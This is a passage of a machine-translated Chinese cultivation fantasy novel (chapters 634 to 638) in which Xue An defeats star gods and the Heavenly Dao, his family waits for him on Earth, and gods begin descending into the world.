    "You are wrong, even in your next life, you still can''t beat me!"


    Huye stretched out his hands helplessly, "If you can''t beat it, you can''t beat it. I''m used to it anyway."


    Then he pointed to the **** child Ziwei and others, "What are you going to do with these guys?"


    Xue An said lightly: "What do you mean?"


    Hu Ye smiled, "How about you seven and three?"


    Xue An shook his head.


    Hu Ye''s expression was bitter, "Hey, anyhow, I''ve come all the way, so I have to show some face!"


    Xue An did not speak.


    Hu Ye gritted his teeth, "Then eighty-two! You want 80%, and the rest belongs to me! No matter how low it is, I really can''t accept it!"


    Xue An still didn''t speak, just stretched out a finger.


    Hu Ye shouted, "What? You give me 10%? No, no, it''s not enough to stuff my teeth!"


    Xue An said indifferently: "Then, let''s grab the heads based on their own abilities! Whoever kills counts the others!"


    Huye nodded, "Actually, I think 10% is not bad."


    Watching the two of them start to separate their heads without anyone else.


    An extremely absurd feeling arose in the hearts of the gods and demons and the many practitioners below.


    It''s as if people like myself have become fish on the cutting board and are being slaughtered.


    At this moment, the Ziwei **** child had a pale complexion, with unwiped blood on the corners of his mouth, and his eyes flashed with resentment and fear.


    He finally felt a trace of fear.


    Because he found that he couldn''t understand the origin of these two people at all.


    At this time, Xue An, who had finished dividing the spoils, turned his head to look at the son of Ziwei, and said lightly: "Remember what I said?"


    The son of Ziwei was startled.


    Xue An went on to say: "I said, your peace has been too long, so long that you have forgotten what awe is!"


    "So, both you and your father have to pay the price!"


    The son of Ziwei was taken aback when he heard the words, and then laughed wildly.


    "It''s really arrogant! Although you don''t know how you broke through the Luotian Great Seal, do you really think that with this little strength, you can win my God Father? My God Father is the supreme Star Lord Ziwei, Lord of Ten Thousand Stars!"


    Fox Ye heard very speechlessly and held his forehead with his hand, "If this person is mentally disabled, he really won''t be saved! They are still irritating him at this time. Do you really think he will live a long life?"


    really.


    Xue An smiled slightly.


    "Oh? Then try to see how powerful your Father God is!"


    With that, countless sword lights appeared in the air.


    These sword lights roam and move like living things, and the biting sword intent fills the entire world.


    Ziwei''s laughter stopped abruptly, just as he was about to say something, these sword lights suddenly turned into a sword-qi dragon, and rushed directly at him.


    The son of Ziwei roared and wanted to resist.


    But in the face of such a powerful sword, he only struggled slightly before he was completely swallowed.


    In this sea of ??swords, came the roar of the son of Ziwei.


    "It''s useless, even if you kill me today, you will only kill one of my clones! I still can''t shake my father!"


    As soon as the voice fell, his body was completely strangled by the sword light, turned into a little bit of starlight, scattered between the sky and the earth.


    At the same time, a starlight divine mind that ordinary people couldn''t detect at all rose to the sky, trying to return to the star realm.


    Xue An said lightly: "Do you still want to leave at this time?"


    Then, as soon as he stretched out his hand, the divine mind screamed and returned to Xue An''s palm.


    Looking at the divine mind in his hand, Xue An said coldly: "You still refuse to come out?"


    As he said, Xue An''s fingers volleyed, and quickly wrote an ancient and profound talisman seal.


    Once Fu Zhuan is completed, it turns into a streamer and rushes straight into the sky.


    "You...what do you want to do?" Ziwei''s **** son roared.


    "At this time, haven''t you figured out the situation? He is using the spell killing technique in the air to curse your father **** through the mark in your divine mind!" Hu Ye said lightly.


    "Of course, your father is also Star Monarch Ziwei, he should not be cursed to death, but this will definitely alarm him, when he comes, hehe..."


    really.


    The stars above the dome were shaking, and the purple emperor star in the middle palace suddenly burst out incomparably bright stars.


    Under the starlight, an extremely stalwart figure slowly emerged.


    "Who would dare to kill me with a secret spell?"


    Xingjun Ziwei''s voice was full of endless majesty, and at the same time a trace of sullenness.


    He was sitting in the star palace, and suddenly he felt a sense of it. An extremely strange curse power came from the air and attached to his body.


    This made the Ziwei Star Lord very angry, and directly descended part of his body spirit, wanting to kill this person who dared to disrespect him.


    Xue An looked at the huge figure shrouded in starlight, and said lightly: "Mr. Purple Star, long time no see!"


    Star Monarch Ziwei, who had been aggressively planning to inquire about his crimes, trembled all over his body after hearing this somewhat familiar voice, and the starlight was even more violent.


    He lowered his head and saw Xue An standing in the air with his hand in the air.


    Then there was silence for three full breaths.


    What broke the silence in the end was the spirit of the son of Ziwei.


    "Father, this man cursed you in the air! And he also killed the body that I had gathered when I arrived!"


    This Ziwei **** child roared, very excited.


    In his opinion, the Lord God Father has come, and the good days of these guys will come to an end.


    I can take this opportunity to avenge the revenge of the destruction.


    But the next scene happened, but the **** Ziwei''s divine thought almost dispersed.


    I saw the star of Ziwei, who was on the top of the sky on weekdays, but at this moment the starlight of the cover was scattered, showing the original face, and then he lowered his tall head very respectfully, and trembled.


    "Big...sir, why are you here?"


    At this time, everyone was shocked.


    Only Huye smiled, "I knew it would be like this!"


    When this Ziwei star heard this, he glanced sideways at the fox night next to him, and his whole body trembled again, "It turns out that the fox...Master fox is also here! But I don''t know why the two adults called me here?"


    Hu Ye shrugged, then pointed at Xue An, "Ask him, anyway, your head is already his! I can''t control it."


    Xue An said lightly: "You really don''t know? Or are you pretending to be confused with me here?"


    A cold sweat appeared on Ziwei Xingjun''s foreheadBig...sir, but my **** son... "


    Xue An nodded, "Yes!"


    As he said, he raised the spirit of the **** Ziwei Ziwei in his hand.


    "Your **** son has repeatedly provoke me, what do you say should be done?"


    There was a cruel look on Xingjun Ziwei''s face, and there was a starlight in his hand. The **** son of Ziwei just wanted to scream, but was directly shattered by the starlight.


    "My lord, look like this..."


    Xue An''s eyes grew colder, "Xingjun Ziwei, are you kidding me?"


    Xingjun Ziwei trembled, "Don''t dare!"


    Xue An lowered his eyes and said faintly: "This **** son who killed you completely, and then self-destroy this part of your body spirit, I will forgive you once, otherwise..."


    Xue An said coldly: "Destroy your Ziwei star."

 Chapter 634： Jinxian has become, the magic of cause and effect

    The face of Ziwei Xingjun showed a trace of hesitation.


    "My lord, can you..."


    "Huh?" Xue An raised his eyes and glanced at Xingjun Ziwei.


    This glance made Ziwei Xingjun startled in a cold sweat, and then responded very bitterly, "Yes! Thank you for your mercy."


    After all, his divine mind clone trembled for a while, and then it burst silently and turned into countless stars, scattered between the sky and the earth.


    And the purple star above the sky also became bleak.


    Xue watched this scene quietly.


    Hu Ye walked to him and said lightly: "It seems that you have been away for too long, and many people have gradually lost their awe."


    Even though the Ziwei Star Lord finally blew himself up according to Xue An''s instructions, Hu Ye understood.


    The Ziwei star hesitated and even tried to bargain.


    And if it was before, as long as Xue An gave an order, he estimated that he would not even dare to froze, and immediately blew himself up.


    Xue An smiled when he heard the words, "It''s not surprising, the peaceful days have passed for a long time, and some people will always forget the smell of blood."


    Hu Ye sighed slightly, a trace of worry flashed in his eyes.


    This is just a very ordinary star.


    Such goods were not even qualified to let Xue An take a look in the past.


    But now even such goods are beginning to lose awe.


    It is conceivable what kind of attitude the big Luo and even the strong immortal kings will be.


    Now the news of Xue An''s rebirth has not spread, but as time goes by, it is really hard to say what will happen if these powerhouses learn about it.


    Xue An saw Fox Ye��s worries, and said lightly: ��You don��t have to think about it so much, it��s just a big deal to wash the heavens and the world again.��


    The extremely plain tone made Hu Ye shudder.


    At this time, Xue An looked at the pale-faced God and Demon, and said lightly: "Next, it''s them!"


    When Xue An was speaking, a figure was quietly retreating.


    From the moment Xue An broke through the Luotian Seal and obtained the Golden Immortal, Kuchan understood that things could not be done, and began to quietly retreat.


    Because he is not a fool.


    This Xue can beat himself when he has no cultivation. Now that he is a golden immortal, wouldn''t it be easy to kill himself?


    When I saw that even the descending Ziwei Star was obediently destroying his spiritual thoughts, it confirmed his thoughts, so even the speed of retreat could not help speeding up.


    Just when he had sneaked to the edge of the city lord mansion and was about to escape this terrifying land.


    Xue An''s voice rang in his ears, "Now go, don''t you participate in the Thousand Clan Conference?"


    Kuchan stiffened all over, then slowly turned around and smiled flatly at Xue An in midair.


    "Big... Your lord, this Thousand Clan Conference, our Buddhism family line will not participate! And when I go back, I will close the mountain gate and never be born again! What do you think?"


    This is a complete surrender.


    Xue An shook his head slightly, "No way."


    "You..." Ku Chan''s face sank, and he said coldly: "Xue An, don''t really think that I am afraid of you. The so-called forgiveness and forgiveness..."


    Xue An waved his hand impatiently, "Stop talking nonsense, you have won me, let you go now! Otherwise, leave your head behind."


    Kuchan snorted angrily and glanced at Leng Junxie and Feitian.


    "Two of you, when will you not do anything at this time? Go together and kill him!"


    Leng Junxie and Feitian also witnessed what happened just now, and naturally they felt cold in their hearts.


    Now I was awakened by Kuchan''s words, and after looking at each other, he gritted his teeth.


    Fight!


    If you want to survive now, you have to work hard.


    One Demon and One Shura''s body flickered, and the demon soldiers and Shura soldiers on the ground screamed together, then turned into streamers and merged into the bodies of the two.


    Leng Junxie and Feitian''s aura became extremely tyrannical, and they hit Xue An with death.


    Xue An raised a smile at the corner of his mouth and said lightly: "I want 90%, and the rest is yours!"


    At this time, the bitter meditation also showed the golden body of the Bodhisattva, and Xue An, who was covered in the light of the Buddha, surrounded the Sanskrit sound and rushed straight into the air. The momentum was shocking.


    But just when Leng Junxie and Feitianye had already started to deal with Xue An, the bitter Chan suddenly turned and ran away towards the west.


    His wishful thinking is very good.


    Let Leng Junxie and Feitian entangle Xue An, and then find a chance to escape.


    No matter how good Xue An is, Leng Junxie and Feitian are not vegetarians. As long as they can catch his breath, they can escape from birth.


    really.


    However, in an instant, he had already rushed to the edge of Luofu City, and he couldn''t help being overjoyed.


    But at this moment, Xue An, who was standing in mid-air, only said two words lightly.


    "cause and effect!"


    With the order, the originally excited bitter meditation was completely frozen in the air.


    Not only him, but Leng Junxie and Feitian, including nearly all the cultivators on the ground, were instantly imprisoned.


    As if someone had pressed the pause button, the gods and demons and the cultivators all stood still in place, even the hair that was blown by the wind was frozen.


    At this time, Xue An said calmly: "Do you know why I can slaughter the golden immortals in this world with a body without cultivation?"


    Cang Yayun and Hua Youan, who were not affected, looked dull and shook their heads together.


    "Because... the way of heaven in this world is flawed, the resulting golden immortal doesn''t even have a fairy grid, and without a fairy grid, naturally there will be no magical powers, so the incomplete version of the golden fairy is simply rubbish!"


    "And what you see now is my magical power!"


    As he said, Xue An yelled softly: "Reverse!"


    This time, the pause button was pressed again.


    But the sky full of gods and demons and the cultivator were as if they were being reversed by an invisible giant hand at the same time.


    The face became younger and the body began to shrink.


    But this change is extremely scary.


    Because in an instant, these gods and demons began to turn into powder one by one.


    In the end, almost all of the mighty gods and demons cultivators turned into nothingness, and the world became empty.


    The survivors all watched this scene with blank eyes.


    Hu Ye also awoke from his astonishment, then shook his head and smiled bitterly: "People are more popular than others. A golden immortal has actually awakened such supernatural powers! This is just like cheating to steal people''s heads!"


    Muttering in his mouth, Fox Ye casually pointed at the crowd below, and said weakly, "Little ones, these little fish and shrimps will be handed over to you!"


    The group of great monsters who followed Huye agreed in unison, fell to the ground and began to besiege the remaining cultivators.


    Another massacre began.


    Xue An smiled at Luo Wenshi, who stood at the farthest point and tried his best not to attract the attention of others.


    "Can escape my cause and effect, it seems that you are not an ordinary person!"

 Chapter 635： To kill the gods, bear the cause and effect

    Luo Wenshi''s face suddenly became ugly, but soon he was filled with smiles.


    "My lord, the previous misunderstandings were all misunderstandings! It''s all my fault that I ran into the adults, as long as you are willing to let me go, I am willing to tell you everything Tiandaoyuan, after all, the adults are here, isn''t it for the luck of the Thousand Races Conference? ?"


    Xue An looked at Luo coming out with a faint smile, and then gently shook his head, "Why bother to kill you... Don''t you know everything?"


    Luo Wenshi turned pale, and then forced a smile: "My lord is joking, how would I know if you killed me?"


    "By now, are you not honest? The reason why you Luofu City can get the information of Tiandaoyuan in advance, it should be the fragments of Tiandao in this world, which is why you can not be contaminated with cause and effect. I am right. What? City Lord Luo?" Xue An said lightly.


    Luo Wenshi''s expression changed drastically, "You..."


    Then his eyes rolled, and his expression gradually became indifferent, "Yes, I do have a piece of Heavenly Dao, and I can even have a direct conversation with Fang Tian Dao! But what? Now the Thousand Race Conference only leaves the Chinese and Monster Races. As long as you enter the Heavenly Daoyuan, this year of luck will be yours!"


    Xue An shook his head, "You and the heaven behind you have made a mistake."


    "what''s up?"


    Xue An showed her white teeth and smiled sensibly, "What I want is not such a simple luck."


    Luo Wenshi was shocked and looked at Xue An in horror.


    Xue An looked at the Tiandaoyuan that was surrounded by clouds and mist in the distance, and said lightly: "If I guess right, this so-called Tiandaoyuan is actually the real luck!"


    "And all I want is it!"


    Luo Wenshi''s complexion changed wildly, just waiting to speak.


    A ray of sword energy appeared silently in front of his forehead, and instantly passed through his brain, bringing out a bloodline.


    Luo Wenshi''s eyes darkened, but a breath of aura appeared, and quickly dominated Luo Wenshi''s body.


    Then Luo Wenshi raised his head, and there was no human emotion in his eyes, only the seemingly endless power of heaven and earth.


    "Chinese powerhouse, since you entered this world, I have repeatedly tolerated, why are you pressing hard?"


    "Forbearance?" Xue An smiled coldly, "Then I ask you, why use the law of heaven to restrain my Chinese line and make it impossible to practice?"


    Luo came out, or Fang Tiandao shook his head when he heard the words, "The strong, the Chinese cannot practice, it is not because I am restrained by the law of heaven, but..."


    Speaking of this, a look of horror appeared on Luo Wenshi''s face.


    It seems that there is something that makes a heavenly path like it feel scared.


    "But what?" Xue An asked.


    Tian Dao hesitated for a moment, and then said: "The strong, the cause and effect of this matter is too heavy, even you can''t afford it, so don''t ask. Moreover, as long as this thousand race luck is obtained, the Chinese can practice. Up!"


    Xue An smiled coldly when he heard the words, "The cause and effect are too heavy? Haha, it is really funny! For thousands of years, the Chinese people have suffered all kinds of insults, and only one cause and effect is too heavy in your mouth?"


    "Although it is very unpleasant, but the fact is." Tiandao said lightly.


    "Then I have to see what kind of cause and effect it is, even I can''t afford it!"


    As he said, endless sword qi appeared in the sky, surrounding the heavens.


    Tian Dao''s complexion has not changed at all, "The strong, it is useless, in this world, I am an invincible existence, you can''t deal with me with these at all!"


    really.


    I saw that these sword auras disappeared invisible as soon as they touched the heavens, and they couldn''t shake him at all.


    "The strong man, I have tolerated it again and again. The luck this time is huge enough for the Chinese to restart the road of cultivation, so I advise you not to have extra branches." Tiandao said indifferently.


    Xue An smiled, full of murderous intent in his smile.


    "For thousands of years of insults, the blood and tears of the Chinese are enough to fill the sea, and the bones can be cast into mountains. Although you are not the initiator, you can be regarded as the person who helped the abuser, so you have to pay the due price!"


    With that, two lotus flowers appeared between Xue An''s eyebrows, one red and one white.


    Shuanglian appeared, the ghosts and gods were shocked!


    Seeing this scene, the heavens, who had always been unwavering in the ancient well, changed their colors.


    "No...impossible! How could you have such a thing?"


    Xue An didn''t speak, but just waved his hand, and the two lotus flowers flew directly on the top of Heavenly Dao''s head, and then the double lotus turned into red and white two qi, forming a picture similar to the Tai Chi picture, covering the heavenly path.


    The red and white qi is like a sword, killing Tiandao''s body a little bit.


    Tiandao shouted: "The strong, if you are so obsessed with the realization, you will only be burdened with extremely heavy cause and effect, which you simply cannot afford!"


    Xue An said calmly: "There is no cause and effect in the heavens and worlds that I can''t bear, no matter who it is, since I dared to deal with the Chinese people in the first place, then be prepared to bear the most tragic retribution!"


    Finally, under the envelope of Shuanglian, Tiandao''s body collapsed suddenly.


    At the same time, the haunting fog outside Tiandaoyuan instantly dissipated, revealing the true face that has never been seen by the world.


    It is a huge and extremely huge jade.


    And a powerful force of luck radiated from the jade.


    Hua Youan and Jia Ning Song A stared blankly.


    "This...Is this Tiandaoyuan?" Hua Youan muttered to herself.


    As Chinese, they have never seen what Tiandao was like.


    At this time, Fox Night also showed a solemn color.


    "Xue An, these jade stones are all condensed by air transport. In the present world, if you can''t conquer it as soon as possible, it will definitely attract the prying eyes of the powerful."


    With such a majestic force of luck, Hu Ye was also the first time I saw him in his life, and naturally he knew its preciousness.


    Xue An smiled slightly, "It''s okay, this Fang Tiandao hasn''t completely died out. In order to prevent the coming of the heavenly powers, he will do his best to prevent the breath from leaking."


    really.


    The sky with the twinkling stars and moon suddenly seemed to be covered with a layer of mist But this is not a long-term solution, this Fang Tiandao simply does not have that powerful ability! "Hu Ye said anxiously.


    Xue An said lightly: "It won''t take too long!"


    Fox Ye was startled, "What do you mean?"


    Xue Anshen appeared in Zhou''s red and white double lotus, "I said, what I want is not simple luck, but this heaven and earth!"


    After all, Shuanglian keeps emerging, completely obscuring this heavenly path.


    The power of majestic air transport began to pour into Xue An''s body.


    Then Xue An slapped a palm on the back of Fox Ye, "This 30% of luck belongs to your fox clan!"


    After all, Xue An was swallowed by the endless force of luck.


    Hu Ye only heard a word from Xue An at the end.


    "I need to retreat to digest the power of luck! You can go by yourself!"

 Chapter 636： The world changes, the only constant is waiting for you

    Just when Xue An absorbed the luck of the ten thousand realms in the heavenly realm.


    Earth.


    Qingmang Town.


    An Yan sat in front of the window, looking at the Qingmang Mountain in the distance with a worried face.


    It has been more than half a year since Xue An and Huye entered the Secret Realm of Qi Luck on New Year''s Eve.


    In the past six months, An Yan has never left Qingmang Town for half a step. The most important thing every day is to sit in front of the hotel window, quietly waiting for Xue An''s return.


    At the beginning, Xue Lan would give a few words of comfort, but as time went on, Xue An remained silent, which made Xue Lan start to worry.


    In the end, even Xue Lan sat at the window every day, staring at Qingmang Mountain with his sister-in-law.


    Today is no exception.


    Just as the two aunts were sitting at the window and staring at Qingmang Mountain without saying a word.


    Qin Yu parked the car in front of the hotel and walked in quickly.


    When the lobby manager of Yuelai Hotel saw that Qin Yu came in person, he hurriedly stood up and said, "Chairman Qin!"


    Qin Yu nodded slightly, and went upstairs in a rush.


    The lobby manager looked at Qin Yu''s back, somewhat inexplicable.


    During the recent period, Qin Yu often came to Qingmang Town, but every time he came, he came and went in a hurry, and he didn''t know what he was doing.


    At this time Qin Yu came to the room where An Yan lived, and as soon as he entered the door, he saw Miss Miss these two little girls playing cards with Tang Xuan''er.


    It''s just that these three people are not very interested, all of them are a little listless.


    Qin Yu sighed secretly, then took out a large pack of snacks.


    "Miss me, see what this is!"


    The two little girls took a look and took it over politely.


    "Thank you sister Yu!"


    Qin Yu smiled and touched the heads of the two little girls, and then said to Tang Xuan''er, "Are you inside?"


    Tang Xuan''er nodded.


    Qin Yu lightly stepped into the back room.


    Hearing the noise, An Yan looked back at Qin Yu, nodded gently, and then continued to look out the window.


    Qin Yu stepped forward and said in a low voice, "Sister Yan, Mr. Xue will be fine, so don''t worry too much!"


    An Yan smiled faintly, "I know he will definitely be fine, but I just feel that when I look at Qingmang Mountain in this way, my heart will become calmer."


    Qin Yu felt a little sad when he heard the words, and after sitting with him for a while, he left the back room.


    "Is there still no news?" Qin Yu asked Tang Xuan''er in a low voice.


    Tang Xuan''er looked sad, and shook her head, "No!"


    Qin Yu sighed, "During this period...you should also persuade Sister Yan more."


    "Yeah!" Tang Xuan''er gave a low hmm.


    Xiao Sha on the side was a little disapproving, and said lazily: "I really convinced you, the boss has been cultivated as a master, and it''s not going to come back. Why are all of them listless, as for?"


    Qin Yu knew that this beautiful girl was not an ordinary person, so she had to smile wryly when she heard that.


    "I''m leaving now! There are still a lot of things to do in the company. I will try my best to spare more time to come during this time."


    Qin Yu said hello, then squatted down and smiled at the two little girls, "I miss you, what do you want? Tell sister Yu, I will bring you over next time."


    Missing Nian glanced at each other, then shook their heads together, "Thank Sister Yu, we don''t want anything."


    "Don''t you want to eat ice cream?" Qin Yu asked with a smile.


    With a single sentence, tears burst into Nian Nian''s big eyes, and then she shook her head vigorously, "I don''t want to eat it, because I miss my dad when I eat ice cream."


    Qin Yu''s nose was sore when she read this sentence.


    When I think about it, I knocked Nian Nian''s head unceremoniously, "Don''t cry! Dad just went out to do errands and will be back soon! Why are you crying?"


    Although he said so, the voice of thinking about it also brought a hint of crying.


    Qin Yu rubbed the hairs of the two little girls sadly, "Yes, don''t cry! Otherwise, my mother will be sad when she sees it."


    After a few more words of persuasion, Qin Yu was about to leave.


    At this moment, I heard rapid footsteps outside, and then the door was suddenly pushed open.


    An Qing Fengchen walked in, wearing a uniform.


    When I saw An Qing, Miss Miss Nian all threw in excitement.


    "Auntie!"


    An Qing hugged the two little girls, and kissed one of them very much.


    "Do you miss my aunt?"


    "Hmm! Auntie, where have you been all this time? Why haven''t you come to see us for so long?"


    "Auntie went to beat the bad guy!"


    "Bad guys, are they monsters?"


    "Yes! And it''s a terrible monster!" An Qing said with a smile.


    "Wow, my aunt is amazing!" The two little girls said with admiration.


    After getting close to the two little girls, An Qing nodded to the people in the room.


    "Miss Qin, you are here too!"


    Qin Yu nodded quickly, "Yes!"


    At this time, An Yan heard the voice and walked out. When she saw her sister An Qing, she was naturally very happy.


    "An Qing, why are you here?"


    An Qing smiled, "I just passed by here, so I will stop by and have a look!"


    Xiao Sha sucked his nose at this time, and then said in a deep voice, "It''s so monster and bloody."


    An Qing smiled awkwardly, "I''m in a hurry, I forgot to change my clothes!"


    An Yan couldn''t help worrying even more, "Are you now going out with the troops on missions every day?"


    An Qing nodded, and said helplessly: "Yes, I''m so busy during this time! There are monsters everywhere!"


    When she said that, everyone in the room became a little silent.


    In the past six months, there have been several changes that everyone can feel The first is that cultivation has become easier.


    If it was said that San Xian represented the strongest combat power in the entire world, now it has taken a big step forward, and some masters have begun to continuously break through into the longevity state.


    As for the masters of the Xiaoyao Realm and the Heaven and Human Realm, there are endless.


    The cultivators of the whole world stepped up a ladder invisibly.


    If this change is gratifying.


    The second change is worrying.


    From the accidental occurrence of various demons and chaos incidents, they have become commonplace now.


    In the beginning, the mainstream media was still trying to block these things.


    But later, the control was gradually released.


    Nowadays, whether on the Internet or on TV, the appearance of monsters and ghosts is nothing new at all.


    But this also caused a problem, that is, the troops used to suppress the monsters'' chaos began to become scarce.


    This is also the reason An Qing hasn''t showed up for so long.


    After a few more words, An Qing dragged An Yan into the room and asked in a low voice, "Sister, how is my brother-in-law?"


    An Yan smiled bitterly, "There is still no news."

 Chapter 637： The gods come and touch the world

    An Qing frowned when she heard the words, and immediately smiled: "Don''t worry, my brother-in-law is not an ordinary person, there will be nothing wrong!"


    An Yan nodded, "You don''t have to comfort me, I know everything in my heart! It''s you, who fights and kills outside all day, so pay more attention!"


    An Qing waved his hand carelessly, "I''m fine! Don''t you know that your sister, I am also a resounding master now? She is called the worm banshee!"


    An Yan gave a light sip, "What kind of banshee is called an unmarried girl? How ugly!"


    "Hey, I think it''s okay, quite aggressive!" An Qing said with a grin.


    After An Qing''s interrogation, An Yan feels that her mood has also become much better.


    Just when the two sisters were talking intimately.


    The hotel under my feet shook suddenly.


    Everyone was taken aback.


    what happened? earthquake?


    Just as this thought came up in my mind, the shaking suddenly became violent.


    At the same time, the Qingmang Mountain in the distance began to shake.


    As if something wanted to break out of the body, a burst of deafening noises came from the inside of Qingmang Mountain.


    And when the incident just happened, An Yan had firmly embraced her two daughters.


    Xiaosha even rushed out of the window and stood in the air, releasing Longwei to guard the people behind him.


    At this time, the shaking gradually stopped, and the swaying Qingmang Mountain also returned to calm.


    It seems that everything is over.


    The residents of Qingmang Town, who were frightened by the scene just now, also took to the streets one after another, talking about what had just happened.


    But for the residents whose nerves have been made very tough by various monsters, this is nothing at all, and no one takes it seriously.


    Only Xiaosha standing in the air, and An Qing''s expression became more and more solemn.


    Because they felt a very strange aura brewing underground in Qingmang Mountain.


    really.


    After being quiet for only a few minutes, this air force broke out completely.


    An extremely bright white light shot out from the top of Qingmang Mountain, straight into the sky.


    It caused a ripple, and then spread at an alarming speed.


    Qingmang Mountain, which was originally towering, began to disintegrate.


    In a blink of an eye, Qingmang Mountain all turned into white light.


    This earth-shattering scene stunned everyone in Qingmang Town.


    at last.


    The white light dissipated.


    The place where Qingmang Mountain originally stood has become a flat land.


    It seems that the world has become a little different again.


    At the same time, all the cultivators of the whole world felt it and looked towards Qingmang Mountain.


    Because at this moment, countless people broke through the bottleneck of cultivation.


    Even An Yan''s cultivation base, which hadn''t improved for a long time, took a step forward.


    But for these, An Yan didn''t pay attention at all, she just stared blankly at the disappeared Qingmang Mountain, tears streaming down her face.


    And thinking and Niannian looked at the empty flat ground, and after a meeting, they all cried together.


    "Mom, if the mountain is gone, will Dad come back?"


    People heard the words in dismay.


    Qingmang Mountain suddenly disappeared. Does that mean something happened to Xue An?


    At this point, many people feel cold.


    And Xiao Sha looked up at the sky with a very solemn expression, and whispered to himself: "A lot of powerful aura! The boss is right, you finally can''t hold it back, have you started to get involved in this world?"


    Nanyang.


    In a desolate and quaint temple.


    Many priests are holding evil rituals.


    suddenly.


    The terrifying idol shook for a while.


    Seeing this, these priests all squatted on the ground, not even daring to lift their heads.


    After a while, this idol began to become alive.


    In the end, the idol opened the eyes without any emotional fluctuations, and an extremely evil aura swept across the temple.


    The priests shouted in surprise: "Welcome to Lord Sacrifice!"


    That''s right, this **** descending **** is the evil **** in charge of Nanyang''s head descending technique.


    He looked up to the sky and smiled, "Ten thousand years of waiting! Finally you can directly descend into this world!"


    After laughing for a while, he stopped the laugh abruptly, and then said gloomily: "The one who killed my son Dragon Crown Jade, this time I will refine you into a ghost, so that you will never live beyond life!"


    The Dragon Crown Jade was the one Xue An met at the Xiangjiang Auction. He tried to **** the Blood Orb that Xue An had photographed, but was directly obliterated by Xue An.


    And this dragon crown jade is the son of the goddess.


    At this moment, the goddess sniffed the smell, and then there was another jealous laugh.


    "Interesting, not only I came by myself, but many gods also came to the world! In all calculations, this is the first time the gods have come to this world since Jianmu was cut off! Jiejie, interesting! More and more interesting! It''s lively!"


    As he said.


    Just as he descended.


    All over the world, whether it is long-abandoned temples or magnificent Taoist temples, all kinds of gods have begun to come to the world.


    Europe.


    Since the State of the Church of Light was eradicated by Xue An, the power of the Dark Council began to expand rapidly.


    However, this time the Dark Council absorbed past experience and no longer played with those messy evil looks all day long, but creatively let Fan Mengxue act as the ambassador.


    If it is nothing more, it may not achieve the current effect.


    However, under Karthus''s suggestion, the Dark Council funded several films featuring Fan Mengxue as the protagonist, the dark giants making friendly guest appearances, and various props starred in historical objects.


    The result is not only a big success at the box office, but even word of mouth is bursting with it.


    Many film critics often have doubts when they exclaim about the excellent production of these films.


    I wonder how the special effects in these movies are so realistic.


    Especially those few skeletons with northeast accents are so vivid and breathtaking.


    There are many film companies trying to find out which special effects company produced these skeletons.


    For all of this , the skeletons who guarded the gate in front of the dark castle are naturally very proud, and strongly recommend making a dark movie with skeletons as the protagonist.


    Of course, Fan Mengxue is the one with the most profit.


    She has now become the world''s top actress.


    And began to be respected as the dark queen of the film industry.


    But just as the dark council was flourishing, in those unknown corners, the forces of light still existed tenaciously.


    This is a dilapidated church in a small town in Europe.


    Several people in robes were chanting scriptures in low voices.


    "Holy Lord, please show your incomparable power and eradicate all evil and darkness in this world!" A priest prayed with a bitter face.


    As if in response to his prayers, a little light began to appear in this dilapidated church.


    The priests haven''t reacted yet.


    These holy lights quickly condensed, and then gradually revealed the figure of a holy angel with twelve pairs of wings behind him.


    "Tsk tsk, I don''t know what the old guy of the God of Light is afraid of, but he refuses to come by saying anything, hehe! Then my holy angel, Gabriel, is in charge of the light here!"


    As he said, the holy angel opened his eyes, and his handsome face was full of arrogance.

 Chapter 638： The skeletons in the dark castle

    At this moment, these priests all knelt to the ground, shaking with excitement.


    "Holy Lord of Light, have you finally heard our call, have you come to the world?"


    Metatron looked at these kneeling priests and said lightly: "Your Lord of Light has been so scared that he dare not come to the world anymore. To put it bluntly, I will completely abandon you!"


    Hearing his words, these priests showed incredible expressions on their faces.


    A priest even raised his head and said angrily: "You dare to blaspheme the gods, the Holy Lord of Light will definitely punish you!"


    As soon as the voice fell, his head exploded and the dead body fell to the ground.


    Metatron retracted his finger and said slowly: "From now on, I will be your god! Serve me piously, and I will give you powerful strength and a long life! Otherwise, you will be like this."


    The remaining priests were all stained with blood, and after hesitating for a while, they prostrated deeply on the ground.


    "Yes! My unparalleled god!"


    Metatron laughed loudly. With his laughter, the dilapidated church began to disintegrate, and then reorganized.


    In the blink of an eye, this place became an extremely magnificent bright church.


    Seeing such a miracle, these priests cried out with excitement and kowtow again and again.


    Metatron sat on the throne of light, and the wings behind him converged and turned into a handsome man. Then he said calmly: "I smell the disgusting smell of darkness, and the **** dark believers also Does it exist in this world?"


    A priest climbed up on his knees and tremblingly told the story.


    "Dark Council?" The light flickered in Metatron''s eyes.


    "Yes! Now that the Dark Council rules all of Europe, the power of light has declined to the extreme."


    "Very good! Let''s start with these ants first!"


    ��������������������


    Dark castle.


    In the open space in front of the door, these skeletons were sitting together fighting the landlord.


    There were three playing cards, but there were a dozen onlookers, and there were noisy and noisy, so lively.


    "Don''t you seem stupid? How could the card be right just now? He obviously doesn''t take a single card, you get a single!" A suit and leather skull with a cigar in his hand was a little excited.


    On the opposite side, a skeleton wearing a western cowboy costume and a sun hat dismissed it.


    "I don''t want to take a single? You have the ability to try a single card. I can''t kill you!"


    "Are you still exploding? No trump card. If you dare to explode, believe it or not, you will have to lose all your ribs?"


    "Hehe, I don''t know who lost all the ribs, and borrowed it from others temporarily! If you dare to explode, my three 2s can make you cry!"


    That''s right, the bets of these uncle skeletons are their ribs.


    Anyway, they are all exposed and easy to disassemble.


    It''s just that the winning or losing is a bit big.


    For example, the one who lost badly now not only lost all his ribs, but also owed more than twenty.


    Maybe it was revealed that the old bottom made the skeleton a little unsustainable. He took a sigh of cigar and smoked from the holes in his body, and then exasperated.


    "Sixth, you don''t want to talk to me, dare we play a game alone?"


    "Why don''t you dare? Say yes first, how do you win or lose?"


    Hearing the words, the cigar skeleton gritted his teeth and said fiercely: "Come some big ones, and the one who loses will be the grandson of the winner for three years! Dare you?"


    boom!


    Upon hearing these words, the skeletons were in an uproar.


    "Second brother, second brother! Listening to your brother''s advice, you are too much! The play is too big."


    "Sixth, quick to make up for it with the second brother, isn''t it just for fun? Why make it so big!"


    "That''s right, they are all brothers for hundreds of years, who suddenly became grandsons, what about our brothers?"


    But these two skeletons obviously moved real fire, no matter how they persuaded them, they were all determined to gamble.


    "Brother brother, don''t persuade you. I''ve seen this old crippled calf displeased a long time ago. He wears like a mafia all day, holding a cigar in his hand, and pretending to be a social person here! Lao Liu just doesn''t eat this set."


